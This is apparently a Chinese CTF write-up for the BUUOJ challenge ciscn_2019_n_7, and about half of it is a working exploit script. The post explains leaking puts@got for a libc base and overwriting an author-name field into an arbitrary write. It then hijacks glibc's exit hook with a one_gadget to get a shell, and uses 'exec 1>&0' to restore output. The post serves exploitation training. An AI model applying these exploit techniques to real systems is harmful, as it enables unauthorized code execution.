BUU-ciscn_2019_n_7

BUU-ciscn_2019_n_7

思路

​ 题目有 add,show,edit,exit几个功能,输入 666 能够得到 puts@got 的地址从而得到 libc 基址。

addedit 功能中输入 author name 时可以覆盖下面 article 的地址,导致任意地址写。退出程序只能通过 exit 所以无法通过改返回地址 get shell ,可以通过 exit_hookget shell

1
2
3
4
5
6
7
8
//exit部分源码

void
exit (int status)
{
__run_exit_handlers (status, &__exit_funcs, true, true);
}
libc_hidden_def (exit)

__run_exit_handlers 里会调用 _dl_fini

1
2
3
4
5
6
7
8
//_dl_fini call
__rtld_lock_lock_recursive (GL(dl_load_lock));
__rtld_lock_unlock_recursive (GL(dl_load_lock));

#define GL(name) _rtld_local._##name
#else
#define GL(name) _rtld_global._##name
//_rtld_global 结构体

__rtld_lock_unlock_recursive_rtld_global结构题的指针变量,修改 __rtld_lock_unlock_recursive 就能够实现劫持(_rtld_lock_lock_recursive 也行)

exit 功能中有 close(1) ,close(2)关闭了输出流,只需要 exec 1>&0 将输出重定向至输入就有回显

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
context.log_level='debug'
#context.terminal = ['tmux','splitw','-h']

r = process('./ciscn_2019_n_7')
#r = remote("node4.buuoj.cn",28597)
libc = ELF('./libc6_2.23-0ubuntu10_amd64.so')

def add(size,name):
r.sendafter("-> \n",'1')
r.sendafter("Length: \n",str(size))
r.sendafter("Author name:\n",name)

def edit(name,content):
r.sendafter("-> \n",'2')
r.sendafter("Author name:\n",name)
r.sendafter("contents:\n",content)

def puts_got():
r.sendafter("-> \n",'666')

def show():
r.sendafter("-> \n",'3')

def exit():
r.sendafter("-> \n",'4')

puts_got()
puts_got = int(r.recvuntil("\n").strip("\n"),16)
lbase = puts_got-libc.sym["puts"]
onegadget = lbase + 0xf1147
exit_hook = lbase+ 0x5f0040 + 3848

log.success(hex(lbase))

add(0x20,"0wl")
edit('a'*8+p64(exit_hook),p64(onegadget))
#gdb.attach(proc.pidof(r)[0])
exit()

r.interactive()

参考

作者

0wl

发布于

2022-02-18

更新于

2022-03-01

许可协议

评论